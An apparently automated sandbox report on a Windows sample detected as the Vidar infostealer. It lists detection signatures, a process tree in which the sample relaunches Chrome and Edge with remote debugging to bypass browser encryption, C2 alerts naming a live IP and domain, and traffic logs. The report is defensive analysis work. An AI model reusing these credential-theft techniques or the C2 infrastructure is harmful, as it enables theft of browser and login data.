Edit tour

Windows Analysis Report
mtbkkesfthae.exe

Overview

General Information

Sample name:	mtbkkesfthae.exe
Analysis ID:	1566332
MD5:	774a8755eccb3ebd8463204e8cd60941
SHA1:	d8ecf01619f49c805ce41a2317c1a4ca99cfb270
SHA256:	88200c0685cdb81d2aa94923ffcca110416d4dd9599e00c44635f13c630aa254
Tags:	exeuser-aachum
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Vidar stealer

AI detected suspicious sample

Machine Learning detection for sample

Monitors registry run keys for changes

PE file has a writeable .text section

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Browser Started with Remote Debugging

Uses 32bit PE files

Classification

Process Tree

System is w10x64

mtbkkesfthae.exe (PID: 1548 cmdline: "C:\Users\user\Desktop\mtbkkesfthae.exe" MD5: 774A8755ECCB3EBD8463204E8CD60941)

chrome.exe (PID: 6376 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7204 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2600 --field-trial-handle=2552,i,15530253951471776395,4344190351209215008,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8128 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2500 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2440 --field-trial-handle=2248,i,9362391852228270588,9992411069803109561,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 744 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7884 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2372,i,18180584647005006012,17580123923500325599,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8228 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6452 --field-trial-handle=2372,i,18180584647005006012,17580123923500325599,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8296 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6732 --field-trial-handle=2372,i,18180584647005006012,17580123923500325599,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8740 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6724 --field-trial-handle=2372,i,18180584647005006012,17580123923500325599,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: mtbkkesfthae.exe PID: 1548	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\mtbkkesfthae.exe", ParentImage: C:\Users\user\Desktop\mtbkkesfthae.exe, ParentProcessId: 1548, ParentProcessName: mtbkkesfthae.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 6376, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T01:34:09.905816+0100	2044247	1	Malware Command and Control Activity Detected	94.130.210.71	443	192.168.2.7	49703	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T01:34:12.230012+0100	2051831	1	Malware Command and Control Activity Detected	94.130.210.71	443	192.168.2.7	49704	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T01:34:07.620148+0100	2049087	1	A Network Trojan was detected	192.168.2.7	49702	94.130.210.71	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://gladim.sbs/z4uj	Avira URL Cloud: Label: malware
Source: https://gladim.sbs/b4mj	Avira URL Cloud: Label: malware
Source: https://gladim.sbs/	Avira URL Cloud: Label: malware
Source: https://gladim.sbs	Avira URL Cloud: Label: malware
Source: https://gladim.sbs/K	Avira URL Cloud: Label: malware
Source: https://gladim.sbs/g	Avira URL Cloud: Label: malware
Source: https://gladim.sbs/P4	Avira URL Cloud: Label: malware
Source: https://gladim.sbs/d	Avira URL Cloud: Label: malware
Source: https://gladim.sbs/8Y	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: gladim.sbs

Virustotal: Detection: 6%

Perma Link

Multi AV Scanner detection for submitted file

Source: mtbkkesfthae.exe	ReversingLabs: Detection: 57%
Source: mtbkkesfthae.exe	Virustotal: Detection: 59%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: mtbkkesfthae.exe

Joe Sandbox ML: detected

Source: mtbkkesfthae.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.210.71:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.7:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.206.103.35:443 -> 192.168.2.7:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.206.103.35:443 -> 192.168.2.7:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.1:443 -> 192.168.2.7:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.1:443 -> 192.168.2.7:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.7:49916 version: TLS 1.2

Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.7:49702 -> 94.130.210.71:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 94.130.210.71:443 -> 192.168.2.7:49704
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 94.130.210.71:443 -> 192.168.2.7:49703

Source: global traffic

HTTP traffic detected: GET /gv4dlp HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 23.200.0.42 23.200.0.42
Source: Joe Sandbox View	IP Address: 20.25.227.174 20.25.227.174
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63

Source: global traffic	HTTP traffic detected: GET /gv4dlp HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6Host: gladim.sbsConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bVm8Pk8VwS2lMKp&MD=KVNxhTTS HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
